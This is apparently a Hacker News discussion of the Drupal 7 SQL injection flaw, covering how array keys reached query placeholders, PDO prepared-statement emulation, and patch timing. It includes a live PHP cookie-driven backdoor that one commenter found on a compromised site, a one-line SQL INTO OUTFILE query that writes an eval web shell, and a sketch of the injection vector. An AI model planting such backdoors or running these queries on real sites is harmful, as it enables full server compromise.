When I wrote PHP, I never felt comfortable with associative arrays and sequential arrays being almost indistinguishable. Part of that is my Perl heritage, I'm sure, but the slight cognitive load it reduced in choosing your data structure always seemed vastly dwarfed by the extra complexity of umpteen different functions that work on arrays in different ways and the confusion it can cause when you didn't receive exactly what you were expecting and ended up with non-numerical keys when you expected numerical ones or vice-versa (as in this case).
I guess it's just another example of the Waterbed Theory[1].
If you are a paying CloudFlare customer using Drupal please make sure you have the WAF ruleset for Drupal enabled (https://blog.cloudflare.com/automatic-protection-for-common-...) as we rolled out automatic protection against this when it was announced.
In addition, if you use Acquia, Pantheon, Platform.sh, or some other hosting providers that directly support Drupal, they may have already at least partially mitigated the attack. But you should still immediately update your code either by upgrade to Drupal 7.32 or by applying the one line patch mentioned elsewhere.
Note that Drupal 6 is not affected (it didn't use PDO, so this parameter parsing functionality doesn't exist).
Drupal like GnuTLS, like openSSL, like joomla, and like a lot of code out there as always been recognized poor quality unreadable code by my own eyes. (Like some parts of the linux kernel)
Why don't people see the pattern?
Poorly coded software results in security holes.
And IN statements are stupid with prepared statement. If you can leverage a «hit or miss» cache effect with a IN statement, you don't need the IN, elsewhise it is inefficient.
Good solution is when you can do it: replace IN with join avoiding the shameful pit of Mysql poor performances in subqueries.
The other solution is to avoid IN statement because it cannot be protected with the bind trick.
And Stackoverflow has the same solutions proposed everywhere, and since people have no critical sense, this bug is everywhere where people are using IN with prepared statement.
> Good solution is when you can do it: replace IN with join avoiding the shameful pit of Mysql poor performances in subqueries.
If you use MSSQL you can use IN just fine: use a table valued parameter to feed in values to look for. It's only one parameter so you get plan caching for 1, 2 ... n rows in your table valued parameter. (Although plan re-use is not always a good thing: the plan generated for 1 parameter = 1 row is necessarily the plan best suited to 1 parameter = 10,000 rows.)
I feel like Hacker News has become home of the "security exploit du jour." There have always been new exploits being found daily, what's changed is the severity and wide reaching nature of said exploits.
You might ask, when will we learn? Well, the truth is making secure systems is incredibly hard work and often comes at the price of flexibility/usability/programmer productivity. We know how to do it, it's just not easy to incorporate.
There have always been new exploits being found daily, what's changed is the severity and wide reaching nature of said exploits.
Actually, what's changed is a tendency to now give scary names to exploits and to insist on the importance of "branding and marketing" them to increase end user awareness, or something.
It's gotten a little farcical, I think. It's also lead to a lot of ignorant impressions about free software, as of recent. In spite of the fact that everything is business as usual.
>I feel like Hacker News has become home of the "security exploit du jour."
When wasn't it? Whenever there's a big security advisory that will affect a large percentage of people who browse HN, you see it voted up on HN, explained in detail, and the media using the thread as a source.
Was it a simple fix? Certainly an elegant one. Excluding Drupalcon, I'd imagine it took some amount of time to determine the scope of the problem (was this the only avenue?), best method of resolution (there might have been a few ways to patch this that were more complicated before settling on this one), and then testing to make sure additional problems were not introduced on possible fixes.
This was a pretty critical part of Drupal core, so it would be irresponsible to rush out a patch without proper testing and analysis. Could it have been done quicker? Maybe. But I don't think this is a completely unreasonable period of time.
The vulnerability has been there for four years. It's critical, but not widely exploited. As soon as you release an update, the exploits will be found and weaponized. It's 24 hours later and we're already clocking scripted attacks.
Coordinating a flawless release by a) not doing it during a major distraction event (DrupalCon) and b) allowing an embargo period for people within the security community to prepare is MUCH more important than rushing out the fix a few weeks earlier.
The response here is indicative of the professionalism of the Drupal security group IMHO.
ruby and perl web frameworks have had similar problems when receiving data it could be an array or a hash or a string and people assumed it was string but in the other cases it would cause sql injection or weird behaviour.
Surely you should only foreach() if you're working with a hash/map? Would a classic for($c=0, $l=count($arr); $c<$l; $c++) suffer from any similarly-exploitable problem?
So, while patching our sites for this, we found one which apparently had already been patched. This was highly suspicious, especially since the file mod date is listed as approximately 9 hours ago when nobody was using the system and no login is registered for it, so we've been investigating. The only thing we've found so far is another file which was apparently created at the same exact time as the update:
modules/toolbar/pfmm.php
…which doesn't actually exist in the toolbar module (or anywhere else I can find). The contents of that look like an attempt to use some kind of exploit:
<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();
Not quite sure what that means, but we're still looking into it.
Look at your server logs. Look at the timestamps around the file create date, and grep the logs for that path. You might be able to see a request creating that file, or calling it (neither is good...)
Already done. They're using the SQL injection to create a new page entry in the menu_router table whose access function was file_put_contents(). They then call this new page (in our case, they called it "nqabio") to write the file(s), and then called the pfmm.php.
Unfortunately, that code actually is taking PHP function calls from the cookies passed in with the request, and we didn't have cookie logging enabled, so we have no way of figuring out what that actually did. I suspect the Kcqf3 cookie is a decoder or decryption function, but the Kcqf2 function name is a mystery, and the Kcqf1 parameter could be anything.
I should add that the file was created by www-data:www-data, which for us stands out like a sore thumb as something created by a web page and NOT a user - our build process usually leaves it with a different user as the owner.
Drupal uses prepared statements in all its SQL queries.
There's this common misconception "just use prepared statements and they'll completely prevent SQL injection" floating around. Good to see (yet another) counterexample of that. Prepared statements and parameters are only strategies that can help, but they don't replace an understanding of where the characters in the query are coming from and how they're being used. Escaping shouldn't be a difficult concept to understand either.
These aren't prepared statements. This wouldn't be an issue if they were actual RDBMS prepared statements. These are the bullshit fake prepared statements that PDO emulates by default to achieve cross-database compatibility to offer things like named-parameters (oracle, postgresql support) for databases that only offer positional parameters (mysql, mssql).
It's quite simply shoddy string substitution that's not doing proper escaping, as you pointed out.
PDO's prepared statement "emulation" is ridiculous, and turning it off might have blocked some forms of this vulnerability since it would prevent breaking up one query into many. But fixing PDO wouldn't have entirely prevented this fiasco, either.
No amount of prepared statement kung-fu will save you when the querystring itself contains untrustworthy data. Which is exactly what Drupal is doing here. It puts untrusted, potentially non-integer array keys directly into a querystring. Even if Drupal used a database library that supported proper prepared statements, it would have been owned just as well, only slightly less severely.
It's similar to another, much more common misuse of prepared statements: using untrusted values in the column name.
Still, it's always a good idea to set PDO::ATTR_EMULATE_PREPARES to FALSE as soon as you create any instance of that bloody class.
If there's one thing I learnt today, I'd make sure my SQL abstraction libraries include test cases which makes sure the libraries barf when presented with bad input.
You're right, but whenever I hear the words "Core Update" I usually think "Testing". For something this serious just getting that vulnerability patched asap seems like a good idea, especially if you look after a lot of drupal sites.
Does anyone else think that this portion of code needs revising?
The patch adds array_values() which basically just resets the array to a 0..n index instead of whatever alpha/numeric mix it might've been before.
This means an array with a particular key can cause injection. Doesn't that seem a bit of an obscure thing to have to protect? Do people who're new to the project know about that?
Does someone understand something I don't? Even looking at the patch only, from a conceptual perspective, how does the usage of that array and its keys even make sense in a context where a certain key can allow injection?
The key was used to name expanded placeholders. The intent was to get "placeholder_1", "placeholder_2" ... "placeholder_N" in the query for the number of elements in the argument array.
However, arrays can have non numerical keys. This results in "placeholder_KEY", "placeholder_KEY2".
If Key is a SQL query fragment, that ends up verbatim in the placeholders section.
Suppose you pass $_GET['foo'] as a query argument. An attacker can (simplified) supply ?foo[EXPLOIT] and poof, $_GET['foo'] is an array with 'EXPLOIT' among the keys that suddenly gets into the query verbatim.
Please note that in this case the prepared statement gave the false sense of security, but is not actually responsible for the vulnerability.
Due to the statement being prepared, all bound parameters are correctly encoded -- not the parameter names themselves though, which Drupal should have sanitized first.
Letting $data through the array_values() call will give you a zero-indexed array, which gives you predictable and safe parameter names.
Google searching for "Powered by Drupal" delivers quite a substantial amount of high profile websites. Either as portfolio cases or directly referenced to in website footers. I don't know who will be faster; system administrators patching the bunch or people with malicious intentions writing automated tools to compromise hundreds of sites per second.
> Full SQL injection, which results in total control and code execution of Website.
Well that doesn't sound good. Drupal.org itself is still running[1] on the unpatched version 7.3.1 which sends a message of how likely sites are to be updated.
Ah, must have overlooked the months. Makes me wonder why they left this in the wild for a month and now suddenly put thousands of installations at risk.
> now suddenly put thousands of installations at risk
There's a solution that goes with the advisory. You cannot provide a patch without putting sites at risk.
Furthermore, the vulnerability was present since the Drupal 7.0 release, several years ago. There were no exploits seen in the wild. What are a few weeks then?
The team decided that speed to patch sites asap _after_ release of the information was critical. This is the reason why it was released after a pre-announcement and after a conference tying up most stakeholders.
Could this problem be solved by quoting parameters ? I believe PDO has quoting capabilities when it comes to query parameters in prepared statements.i.e. one can state this parameters is a string , or an integer ....
The problem here is that placeholders are added to the query itself to match the amount of array items. These newly constructed placeholders inadvertently contained user data.
It appears to be a pretty serious issue. The SQL injection alone is bad but the ability to run basically any PHP code through callbacks makes the problem that much worse.
SQL injection alone is often enough to get you RCE if your MySQL account has FILE permissions enabled (often true). Something like `SELECT "<?php eval($_GET['x'])" INTO OUTFILE /srv/www/backdoor.php`.
In this file:
Replace line 739: With the patched code: [1] https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patc...